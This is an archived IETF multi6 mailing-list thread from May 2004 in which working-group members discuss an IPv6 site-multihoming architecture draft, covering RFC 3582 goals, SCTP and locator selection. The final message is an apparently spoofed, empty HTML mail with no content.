From owner-multi6@ops.ietf.org  Wed May  5 04:00:11 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA28353
	for <multi6-archive@lists.ietf.org>; Wed, 5 May 2004 04:00:10 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BLHJD-000AI0-1K
	for multi6-data@psg.com; Wed, 05 May 2004 07:59:15 +0000
Received: from [195.212.29.153] (helo=mtagate4.de.ibm.com)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BLHJB-000AHi-Nl
	for multi6@ops.ietf.org; Wed, 05 May 2004 07:59:13 +0000
Received: from d12nrmr1607.megacenter.de.ibm.com (d12nrmr1607.megacenter.de.ibm.com [9.149.167.49])
	by mtagate4.de.ibm.com (8.12.10/8.12.10) with ESMTP id i457x6Pk145688;
	Wed, 5 May 2004 07:59:06 GMT
Received: from sihl.zurich.ibm.com (sihl.zurich.ibm.com [9.4.16.232])
	by d12nrmr1607.megacenter.de.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i457x5VH267190;
	Wed, 5 May 2004 09:59:06 +0200
Received: from zurich.ibm.com (sig-9-145-228-43.de.ibm.com [9.145.228.43])
	by sihl.zurich.ibm.com (AIX4.3/8.9.3p2/8.9.3) with ESMTP id JAA38372;
	Wed, 5 May 2004 09:59:04 +0200
Message-ID: <40989ED3.9010402@zurich.ibm.com>
Date: Wed, 05 May 2004 09:59:15 +0200
From: Brian E Carpenter <brc@zurich.ibm.com>
Organization: IBM
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en, fr, de
MIME-Version: 1.0
To: mbagnulo@ing.uc3m.es
CC: multi6@ops.ietf.org
Subject: Re: Preserving established communication focus
References: <LIEEJBCNFDJHFFKJJDPAOELAEAAA.mbagnulo@ing.uc3m.es>
In-Reply-To: <LIEEJBCNFDJHFFKJJDPAOELAEAAA.mbagnulo@ing.uc3m.es>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit

Marcelo,

I don't think we should re-open the debate that led to RFC 3582.

I do think that all the goals identified there should be goals of
the architecture. And I think they cover your points (with traffic
engineering referred to as load balancing).

    Brian

marcelo bagnulo wrote:

> 
>>-----Mensaje original-----
>>De: owner-multi6@ops.ietf.org [mailto:owner-multi6@ops.ietf.org]En
>>nombre de marcelo bagnulo
>>Enviado el: martes, 04 de mayo de 2004 19:53
>>Para: multi6@ops.ietf.org
>>Asunto: Preserving established communication focus
>>
>>
>>Hi,
>>
>>My main concern about this document
> 
> 
> I was reffering to draft-huston-multi6-architectures-00, of course
> 
> Sorry for the possible confusion, regards, marcelo
> 
> 
> 
>>is that it only covers the problem of
>>preserving established communications through outages. While this is an
>>important problem, this is not the only problem with multihoming, and i
>>would even say that it is not the most important feature that has to be
>>provided (it is the most difficult/challenging/amusing one, though :-)
>>
>>I guess that multihoming should provide at least fault tolerance
>>and traffic
>>engineering capabilities.
>>
>>Traffic engineering capabilities are not covered in the document, nor the
>>impact of one or other approach in the resulting TE capabilities of the
>>approach.
>>
>>Fault tolerance features are also broader than the problem of preserving
>>established communications. Additionally, the problem of establishing new
>>communications after an outage is relevant (and i would say that
>>in general
>>is more relevant than preserving established ones)
>>
>>So i would argue to perform a broader approach, like the one
>>provided by JN
>>chiappa in his multihoming points:
>>
>>"There are many different potential *goals* one may have for using
>>multihoming,
>>e.g.:
>>
>> - Reliability
>> - Load balancing
>> - More optimal paths
>> - etc
>>
>>Depending on what one is trying to use multihoming *for*, this may make a
>>lot
>>difference to what mechanism(s) (see Obervation #0 about "cost") it makes
>>sense to use.
>>
>>[...]
>>
>>When multihoming is used to provide *reliability*, there are (at least?) 3
>>different levels of potential capability available. Those 3
>>classes (in what
>>appears to me to be the increasing order of difficulty) are:
>>
>> - Allow new outgoing connections
>> - Allow new incoming connections
>> - Keep existing connections open
>>
>>Again, depending on what level of capability one wishes to provide, the
>>mechanism used may differ."
>>
>>I guess that the presented analysis can be extended to also considered the
>>additional fault tolerance capabilities. for instance it would be required
>>to add additonal considerations w.r.t these points
>>
>>Regards, marcelo
>>
>>
>>
>>
>>
>>
> 
> 
> 



From owner-multi6@ops.ietf.org  Wed May  5 05:52:23 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA02985
	for <multi6-archive@lists.ietf.org>; Wed, 5 May 2004 05:52:23 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BLJ2S-0004zs-Tc
	for multi6-data@psg.com; Wed, 05 May 2004 09:50:04 +0000
Received: from [83.149.65.1] (helo=sequoia.muada.com)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BLJ2R-0004zS-OA; Wed, 05 May 2004 09:50:03 +0000
Received: from [127.0.0.1] (sequoia.muada.com [83.149.65.1])
	by sequoia.muada.com (8.12.10/8.12.10) with ESMTP id i459ns1C071238;
	Wed, 5 May 2004 11:49:54 +0200 (CEST)
	(envelope-from iljitsch@muada.com)
In-Reply-To: <200405041427.i44ERo1C053322@sequoia.muada.com>
References: <200405041427.i44ERo1C053322@sequoia.muada.com>
Mime-Version: 1.0 (Apple Message framework v613)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Message-Id: <9350704F-9E79-11D8-B4D0-000A95CD987A@muada.com>
Content-Transfer-Encoding: 7bit
Cc: Multi6 List <multi6@ops.ietf.org>
From: Iljitsch van Beijnum <iljitsch@muada.com>
Subject: Re: architecture draft 
Date: Wed, 5 May 2004 11:50:00 +0200
To: Allison Mankin <mankin@psg.com>
X-Mailer: Apple Mail (2.613)
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit

On 4-mei-04, at 16:27, Allison Mankin wrote:

> I'd like to provide a clarification about SCTP.

> SCTP was designed with its TCP-algorithm congestion control built-in,
> because its original emphasis was stream flows with TCP-like 
> characteristics.
> An application expecting a pure UDP datagram cannot avoid this 
> congestion
> control, so SCTP does not emulate UDP service in that it can neither
> drop all congestion control nor allow alternative congestion control.

Ok, that's obviously a problem. However, considering that everything 
that's on the table is going to require major changes to *something*, I 
don't think it's a show stopper.

> This has been discussed many times because of the question of whether 
> SCTP
> could be a transport for video and audio; it turns out TCP-like 
> congestion
> control is a poor service for realtime media, while TFRC (RFC 3448) is 
> an
> example of an algorithm tailored for their use, over RTP and UDP.

The main thing is that SCTP allows several streams within a session 
(maybe I got the official lingo wrong here, but you know what I mean), 
where each stream can be either long-lived in itself or not, and there 
is no delivery order constraint between streams so in that regard there 
is at least potential for using SCTP for real-time communication.




From owner-multi6@ops.ietf.org  Wed May  5 05:58:33 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA03222
	for <multi6-archive@lists.ietf.org>; Wed, 5 May 2004 05:58:32 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BLJAS-0006lE-EK
	for multi6-data@psg.com; Wed, 05 May 2004 09:58:20 +0000
Received: from [83.149.65.1] (helo=sequoia.muada.com)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BLJAJ-0006kd-Ed
	for multi6@ops.ietf.org; Wed, 05 May 2004 09:58:11 +0000
Received: from [127.0.0.1] (sequoia.muada.com [83.149.65.1])
	by sequoia.muada.com (8.12.10/8.12.10) with ESMTP id i459w01C071335;
	Wed, 5 May 2004 11:58:01 +0200 (CEST)
	(envelope-from iljitsch@muada.com)
In-Reply-To: <LIEEJBCNFDJHFFKJJDPAEEKOEAAA.mbagnulo@ing.uc3m.es>
References: <LIEEJBCNFDJHFFKJJDPAEEKOEAAA.mbagnulo@ing.uc3m.es>
Mime-Version: 1.0 (Apple Message framework v613)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Message-Id: <B5D10AB0-9E7A-11D8-B4D0-000A95CD987A@muada.com>
Content-Transfer-Encoding: 7bit
Cc: Multi6 List <multi6@ops.ietf.org>
From: Iljitsch van Beijnum <iljitsch@muada.com>
Subject: Re: using the received source address as destiantion locator (was RE: architecture draft)
Date: Wed, 5 May 2004 11:58:08 +0200
To: <mbagnulo@ing.uc3m.es>
X-Mailer: Apple Mail (2.613)
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit

On 4-mei-04, at 19:42, marcelo bagnulo wrote:

>>> While I agree that doing this sounds reasonable, there is no
>>> requirement that this should be the case.

>> I can't think of a scenario where the same would not be true, even if
>> this was not a requirement. You need the src address to map to the
>> communication stream in one way or the other. Unless I am to tried.

> I guess that there could be security issues with this. I mean, if the 
> source
> address used will be used as destiantion address, then the sending 
> host has
> a simple way to redirect the reply packets to another host and produce 
> for
> instance a flooding attack.

Right. This is one of the points I've been hammering on extensively a 
while back: you can't trust that the source address belongs to the 
actual correspondent, and you also can't trust that it's reachable. So 
both for security and robustness, a host has to determine which 
destination address it's going to use to reach a correspondent 
regardless of the original source address.




From owner-multi6@ops.ietf.org  Wed May  5 06:09:38 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA04319
	for <multi6-archive@lists.ietf.org>; Wed, 5 May 2004 06:09:37 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BLJL8-0009A2-Uy
	for multi6-data@psg.com; Wed, 05 May 2004 10:09:22 +0000
Received: from [163.117.136.123] (helo=smtp03.uc3m.es)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BLJL7-00099Z-BK
	for multi6@ops.ietf.org; Wed, 05 May 2004 10:09:21 +0000
Received: from localhost (localhost [127.0.0.1])
	by localhost.uc3m.es (Postfix) with SMTP
	id 6309627DA1; Wed,  5 May 2004 12:09:20 +0200 (CEST)
Received: from lolo (unknown [163.117.139.58])
	by smtp03.uc3m.es (Postfix) with SMTP
	id 292C827EE7; Wed,  5 May 2004 12:09:19 +0200 (CEST)
Reply-To: <mbagnulo@ing.uc3m.es>
From: "marcelo bagnulo" <mbagnulo@ing.uc3m.es>
To: "Iljitsch van Beijnum" <iljitsch@muada.com>, <mbagnulo@ing.uc3m.es>
Cc: "Multi6 List" <multi6@ops.ietf.org>
Subject: RE: using the received source address as destiantion locator (was RE: architecture draft)
Date: Wed, 5 May 2004 12:05:30 +0200
Message-ID: <LIEEJBCNFDJHFFKJJDPAMELLEAAA.mbagnulo@ing.uc3m.es>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <B5D10AB0-9E7A-11D8-B4D0-000A95CD987A@muada.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Importance: Normal
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.8 required=5.0 tests=AWL,BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit



> -----Mensaje original-----
> De: Iljitsch van Beijnum [mailto:iljitsch@muada.com]
> Enviado el: miercoles, 05 de mayo de 2004 11:58
> Para: mbagnulo@ing.uc3m.es
> CC: Multi6 List
> Asunto: Re: using the received source address as destiantion locator
> (was RE: architecture draft)
>
>
> On 4-mei-04, at 19:42, marcelo bagnulo wrote:
>
> >>> While I agree that doing this sounds reasonable, there is no
> >>> requirement that this should be the case.
>
> >> I can't think of a scenario where the same would not be true, even if
> >> this was not a requirement. You need the src address to map to the
> >> communication stream in one way or the other. Unless I am to tried.
>
> > I guess that there could be security issues with this. I mean, if the
> > source
> > address used will be used as destiantion address, then the sending
> > host has
> > a simple way to redirect the reply packets to another host and produce
> > for
> > instance a flooding attack.
>
> Right. This is one of the points I've been hammering on extensively a
> while back: you can't trust that the source address belongs to the
> actual correspondent, and you also can't trust that it's reachable. So
> both for security and robustness, a host has to determine which
> destination address it's going to use to reach a correspondent
> regardless of the original source address.
>

An option for this is to verify the proposed new address contained in the
source address of incoming packets before using it as a destination address
for outgoing packets. In any case, this may mean that the receiving host may
not be using the received source address as destination address for outgoing
packets immediately. This is so for the addition of new address in an
established communication. For establishing a communication, when the first
packet is received, i guess that the option of using the received source
address as destination address of reply packets seems attractive. Otherwise
you would need to discover at least one locator of the other party through
alternative mechanisms, like a directory, based for instance in the
identifier, which would at least add some latency to the process.

Regards, marcelo





From owner-multi6@ops.ietf.org  Wed May  5 06:27:21 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA05109
	for <multi6-archive@lists.ietf.org>; Wed, 5 May 2004 06:27:20 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BLJcF-000CT0-HI
	for multi6-data@psg.com; Wed, 05 May 2004 10:27:03 +0000
Received: from [163.117.136.123] (helo=smtp03.uc3m.es)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BLJcE-000CQc-2B
	for multi6@ops.ietf.org; Wed, 05 May 2004 10:27:02 +0000
Received: from smtp03.uc3m.es (localhost [127.0.0.1])
	by localhost.uc3m.es (Postfix) with ESMTP
	id 5B0F22846A; Wed,  5 May 2004 12:27:01 +0200 (CEST)
Received: from lolo (unknown [163.117.139.58])
	by smtp03.uc3m.es (Postfix) with SMTP
	id 464C528433; Wed,  5 May 2004 12:27:01 +0200 (CEST)
Reply-To: <mbagnulo@ing.uc3m.es>
From: "marcelo bagnulo" <mbagnulo@ing.uc3m.es>
To: "Brian E Carpenter" <brc@zurich.ibm.com>
Cc: <multi6@ops.ietf.org>
Subject: RE: Preserving established communication focus
Date: Wed, 5 May 2004 12:23:12 +0200
Message-ID: <LIEEJBCNFDJHFFKJJDPAEELNEAAA.mbagnulo@ing.uc3m.es>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <40989ED3.9010402@zurich.ibm.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Importance: Normal
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.8 required=5.0 tests=AWL,BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi Brian,

> -----Mensaje original-----
> De: owner-multi6@ops.ietf.org [mailto:owner-multi6@ops.ietf.org]En

> Marcelo,
>
> I don't think we should re-open the debate that led to RFC 3582.

Agree.

>
> I do think that all the goals identified there should be goals of
> the architecture. And I think they cover your points (with traffic
> engineering referred to as load balancing).

Completely agree.

I guess that the point is that there are several problems grouped under the
name of multihoming, since there are several goals that are expected to be
provided by the multihoming solution, as it described in RFC 3582.
My observation is that the arch document is mainly focused to approaches
that provide a solution for a very specific problem i.e. preserving
established communications.
I mean, my understanding of the approaches presented in section 4 is that
they basically provide the preservation of established communications. As i
said, this is just one of the problems. IMHO, the document should also
contain an analysis of the different approaches to provide the other goals
contained in RFC3582, like for instance. Which are the possible approaches
to provide traffic engineering capabilities? which are the possible
approaches to setup a new communication after an outage?.
I mean, i guess that the current document contains an in depth analysis of
the possible solutions of one particular problem of multihoming that is the
preservation of established communications, and that it would be interesting
to expand it to provide a analysis of the complete multihoming space problem
covering the other issues contained in RFC3582.

Regards, marcelo

>
>     Brian
>
> marcelo bagnulo wrote:
>
> >
> >>-----Mensaje original-----
> >>De: owner-multi6@ops.ietf.org [mailto:owner-multi6@ops.ietf.org]En
> >>nombre de marcelo bagnulo
> >>Enviado el: martes, 04 de mayo de 2004 19:53
> >>Para: multi6@ops.ietf.org
> >>Asunto: Preserving established communication focus
> >>
> >>
> >>Hi,
> >>
> >>My main concern about this document
> >
> >
> > I was reffering to draft-huston-multi6-architectures-00, of course
> >
> > Sorry for the possible confusion, regards, marcelo
> >
> >
> >
> >>is that it only covers the problem of
> >>preserving established communications through outages. While this is an
> >>important problem, this is not the only problem with multihoming, and i
> >>would even say that it is not the most important feature that has to be
> >>provided (it is the most difficult/challenging/amusing one, though :-)
> >>
> >>I guess that multihoming should provide at least fault tolerance
> >>and traffic
> >>engineering capabilities.
> >>
> >>Traffic engineering capabilities are not covered in the
> document, nor the
> >>impact of one or other approach in the resulting TE capabilities of the
> >>approach.
> >>
> >>Fault tolerance features are also broader than the problem of preserving
> >>established communications. Additionally, the problem of
> establishing new
> >>communications after an outage is relevant (and i would say that
> >>in general
> >>is more relevant than preserving established ones)
> >>
> >>So i would argue to perform a broader approach, like the one
> >>provided by JN
> >>chiappa in his multihoming points:
> >>
> >>"There are many different potential *goals* one may have for using
> >>multihoming,
> >>e.g.:
> >>
> >> - Reliability
> >> - Load balancing
> >> - More optimal paths
> >> - etc
> >>
> >>Depending on what one is trying to use multihoming *for*, this
> may make a
> >>lot
> >>difference to what mechanism(s) (see Obervation #0 about
> "cost") it makes
> >>sense to use.
> >>
> >>[...]
> >>
> >>When multihoming is used to provide *reliability*, there are
> (at least?) 3
> >>different levels of potential capability available. Those 3
> >>classes (in what
> >>appears to me to be the increasing order of difficulty) are:
> >>
> >> - Allow new outgoing connections
> >> - Allow new incoming connections
> >> - Keep existing connections open
> >>
> >>Again, depending on what level of capability one wishes to provide, the
> >>mechanism used may differ."
> >>
> >>I guess that the presented analysis can be extended to also
> considered the
> >>additional fault tolerance capabilities. for instance it would
> be required
> >>to add additonal considerations w.r.t these points
> >>
> >>Regards, marcelo
> >>
> >>
> >>
> >>
> >>
> >>
> >
> >
> >
>




From owner-multi6@ops.ietf.org  Wed May  5 08:17:42 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA09675
	for <multi6-archive@lists.ietf.org>; Wed, 5 May 2004 08:17:41 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BLLJX-000Bm3-BK
	for multi6-data@psg.com; Wed, 05 May 2004 12:15:51 +0000
Received: from [83.149.65.1] (helo=sequoia.muada.com)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BLLJW-000Bli-BI
	for multi6@ops.ietf.org; Wed, 05 May 2004 12:15:50 +0000
Received: from [127.0.0.1] (sequoia.muada.com [83.149.65.1])
	by sequoia.muada.com (8.12.10/8.12.10) with ESMTP id i45CFe1C073518;
	Wed, 5 May 2004 14:15:40 +0200 (CEST)
	(envelope-from iljitsch@muada.com)
In-Reply-To: <LIEEJBCNFDJHFFKJJDPAMELLEAAA.mbagnulo@ing.uc3m.es>
References: <LIEEJBCNFDJHFFKJJDPAMELLEAAA.mbagnulo@ing.uc3m.es>
Mime-Version: 1.0 (Apple Message framework v613)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Message-Id: <F0A50776-9E8D-11D8-B4D0-000A95CD987A@muada.com>
Content-Transfer-Encoding: 7bit
Cc: "Multi6 List" <multi6@ops.ietf.org>
From: Iljitsch van Beijnum <iljitsch@muada.com>
Subject: Re: using the received source address as destiantion locator (was RE: architecture draft)
Date: Wed, 5 May 2004 14:15:47 +0200
To: <mbagnulo@ing.uc3m.es>
X-Mailer: Apple Mail (2.613)
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit

On 5-mei-04, at 12:05, marcelo bagnulo wrote:

>> This is one of the points I've been hammering on extensively a
>> while back: you can't trust that the source address belongs to the
>> actual correspondent, and you also can't trust that it's reachable. So
>> both for security and robustness, a host has to determine which
>> destination address it's going to use to reach a correspondent
>> regardless of the original source address.

> An option for this is to verify the proposed new address contained in 
> the
> source address of incoming packets before using it as a destination 
> address
> for outgoing packets.

The trouble is that this still assumes we use the source address in the 
incoming packet as the destination for the outgoing packet. It's 
possible to fix the things that go wrong as exceptions and keep this as 
a general rule of course. (Note that checking isn't enough, if there is 
an outage at some point one of the ends must jump addresses or there 
will be no failover.) However, I would rather ditch this assumption and 
only make "take the source address" the default in the absense of 
better information. We *have* to make available to a multi6 host a list 
of all valid locators for the correspondent, and for each (or at least 
a good subset) of those reachability / preference information.

> In any case, this may mean that the receiving host may
> not be using the received source address as destination address for 
> outgoing
> packets immediately.

With the approaches that are on the table now (NOID), it would be the 
other way around, as a negotiation must happen before the correspondent 
knows alternative locators. What you say could happen in a system where 
locators are learned by looking up identifiers in using a mapping 
service, though.

> For establishing a communication, when the first
> packet is received, i guess that the option of using the received 
> source
> address as destination address of reply packets seems attractive. 
> Otherwise
> you would need to discover at least one locator of the other party 
> through
> alternative mechanisms, like a directory, based for instance in the
> identifier, which would at least add some latency to the process.

Yes. This goes directly to the question whether we want provider 
independent identifiers, which implies a mapping mechanism or initial 
negotiation before the actual communication can happen (or both), or we 
want to steer clear of new identifiers that sit between the FQDN and 
the PA address, which has the advantage that we can be backward 
compatible and start communicating first and negotiate afterwards.

Personally, I think we should make both possible if this is possible 
with reasonable (additional) effort.




From owner-multi6@ops.ietf.org  Wed May  5 08:31:57 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA10074
	for <multi6-archive@lists.ietf.org>; Wed, 5 May 2004 08:31:56 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BLLYp-000Eql-Mn
	for multi6-data@psg.com; Wed, 05 May 2004 12:31:39 +0000
Received: from [203.50.0.6] (helo=kahuna.telstra.net)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BLLYn-000EqH-Kg
	for multi6@ops.ietf.org; Wed, 05 May 2004 12:31:37 +0000
Received: from gihz1.telstra.net (kahuna.telstra.net [203.50.0.6])
	by kahuna.telstra.net (8.12.3/8.11.3) with ESMTP id i45CV2G5048228;
	Wed, 5 May 2004 22:31:22 +1000 (EST)
	(envelope-from gih@telstra.net)
Message-Id: <6.0.1.1.2.20040505212535.01c06280@localhost>
X-Sender: gih@localhost
X-Mailer: QUALCOMM Windows Eudora Version 6.0.1.1
Date: Wed, 05 May 2004 22:31:01 +1000
To: Iljitsch van Beijnum <iljitsch@muada.com>,
        Multi6 List <multi6@ops.ietf.org>
From: Geoff Huston <gih@telstra.net>
Subject: Re: architecture draft
In-Reply-To: <F50FEF85-9DD0-11D8-B30D-000A95CD987A@muada.com>
References: <F50FEF85-9DD0-11D8-B30D-000A95CD987A@muada.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.7 required=5.0 tests=AWL,BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk

At 11:42 PM 4/05/2004, Iljitsch van Beijnum wrote:
>Hi,
>
>Some comments on the architecture draft.
>
>   "This implies that if a local multi-homed-aware host
>    establishes an application session with the remote host using "Path
>    a", and this path fails, the application session should be mapped
>    across to "Path b" without requiring any application-visible
>    re-establishment of the session."
>
>This is only the first multihoming issue. The other is that it should be 
>possible to set up new sessions.

good point - I'll add words


>   "RFC 3582 [RFC3582] documents some requirements that a multi-homing
>    approach should attempt to address."
>
>I think we decided against using the R-word but rather call them "goals".

Unless someone objects to this word change I'll agree to this.

>   "Within the constraints of current routing
>    and forwarding technologies it is not clearly evident that this
>    approach can scale to encompass a population of multi-homed sites of
>    the order of 10**7 such sites."
>
>Why this specific number?

It was a number larger than any claim I've heard from a vendor to date,
and it was a power of 10. (I've heard numbers of the scale of 10**6, not
verified of course)



>   "While the destination address is that of R, what
>    source address should the local host use? There are two implications
>    for this choice. Firstly the remote host will, by default use this
>    source address as the destination address in its response, and hence
>    this choice of source address will direct the reverse path from R to
>    the local host."
>
>While I agree that doing this sounds reasonable, there is no requirement 
>that this should be the case.

well, in the figure 1 model the remote host is not multi-homed, but would 
need to
be multi-home "aware", and I believe the "by default"  comment is correct.

>   "Secondly, the ISPs A and B may be using reverse
>    unicast address filtering on source addresses of packets passed to
>    the ISP, as a means of prevention of source address spoofing."
>
>The idea is that ISPs filter. Whether they use uRPF or some other way to 
>accomplish the same result isn't all that interesting.

In this case the description of the practice and the use of a reference
to an approach to doing this I though was the most concise way of describing
the practice.



>   "As an alternative to insertion of a new protocol stack element into
>    the protocol architecture, an alternative approach is to modify an
>    existing protocol stack element to include the functionality
>    performed by the EIP element. This modification could be undertaken
>    within the transport protocol stack element, or within the
>    internetworking stack element."
>
>Is there really a difference between having a wedge between the transport 
>and network layers and implementing the functionality in the "upper part" 
>of the IP protocol?


I believe so. As I said at the Seoul meeting a "new" protocol stack element
implies a distinct synchronization across to its peer. I know that there 
was some
discussion in the WG on this, but I did not sense that this proposition was
not accepted by the workling group.


>   "As a part of the EIP function is to transform the ULP PDU to include
>    locator information there is an associated requirement to ensure that
>    the EIP peering state remains synchronized to the exchange of ULP
>    PDUs, so that the remote EIP can correctly recognize the locator to
>    endpoint mapping for each active session."
>
>Depending on the meaning of the word "synchronize", I don't agree here. 
>This is very different from, say, TCP, where a three way handshake is 
>essential to synchronize the state at both ends. There is no reason such 
>tight synchronization is needed to provide multihoming functionality. If 
>such tight state synchronization is mandated, this leads to delays in the 
>actual communication because this can only start after the synchronization 
>is done. I don't think this is necessary.


I think we are talking at cross purposes.  The words are intended to say that
you should signal a new locator to the other end if you want the other end
to recognise the locator packet as part of an active session. That does not
mean you have to sync locators at transport startup, but it does say "signal
intentions before use".




>In this list:
>
>    o  Transport Layer Triggers
>    o  Routing Triggers
>    o  Heartbeat Triggers
>
>I'm missing ICMP triggers.

so I'll add these triggers to the list - thanks.

>         "One confusing question about the direction of this work is why
>          SCTP is being discussed as a "solution" to site multihoming,
>          when a clear requirement for a site multihoming solutions is
>          the ability to support existing TCP-based and UDP-based
>          applications."
>
>A cool aspect of SCTP is that it can both function in a way very similar 
>to TCP and in a way very similar to UDP. It should be possible to create 
>an adaption layer so that applications that expect to use TCP or UDP are 
>redirected over SCTP.

perhaps you could suggest some alternative words here?


>Some stuff I missed in the draft:
>
>  * multiaddressing by its ver nature means changes at both ends, which
>    is far from helpful in gettting things off the ground


agreed - again are there some general words you can propose to help me here?



>  * the implications of keeping the current socket API or ditching it


I'll propose that this is out of scope to this draft, being tactical rather 
than architectural,
and such issues should be in Eliot's draft, but if you believe that this is 
useful in this
architectural-oriented document some further explanation as to why would be
helpful.


>  * the application of MIPv6 mechanisms or MIPv6 lessons for multi6

hmmm - this was discussed at the meeting in Seoul, but the impression I 
gained from the
conversation was that the lesson was a case of maybe the MIPv6 approach was not
directly applicable. But again if you have wrds to propose here I would 
appreciate
your assistance.


>Also, security should be considered from the start. We've already seen 
>that many things that seem like good ideas can't work securely at all, or 
>need so much additional security stuff that the advantages or the original 
>approach are largely lost.


I agree with you - and indeed think that its  just so critical that it 
needs its own document
in its own right to explore the space and do it justice. That's the pointer 
in the draft in the
Security Considerations section.

thanks for your careful review, and please consider the invitations to 
contribute
some further words to the document as noted- I'd appreciate your 
assistance, of course.

regards,

    Geoff








From owner-multi6@ops.ietf.org  Thu May  6 09:46:58 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA12838
	for <multi6-archive@lists.ietf.org>; Thu, 6 May 2004 09:46:57 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BLjAe-0000xs-Mn
	for multi6-data@psg.com; Thu, 06 May 2004 13:44:16 +0000
Received: from [193.136.195.3] (helo=gab54-1.org)
	by psg.com with smtp (Exim 4.30; FreeBSD)
	id 1BLjAa-0000xT-KW
	for multi6@ops.ietf.org; Thu, 06 May 2004 13:44:12 +0000
Date: Thu, 06 May 2004 14:49:13 +0000
To: "Multi" <multi6@ops.ietf.org>
From: "Kurtis" <kurtis@kurtis.pp.se>
Subject: Re: Incoming Message
Message-ID: <gnaryykdoqgnswsezxa@ops.ietf.org>
MIME-Version: 1.0
Content-Type: multipart/mixed;
        boundary="--------apeakwkrvqfnqychgdyv"
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-0.6 required=5.0 tests=AWL,BAYES_01,HTML_MESSAGE,
	MIME_HTML_ONLY autolearn=no version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk

----------apeakwkrvqfnqychgdyv
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: 7bit

<html><body>
  

<br>
</body></html>

----------apeakwkrvqfnqychgdyv
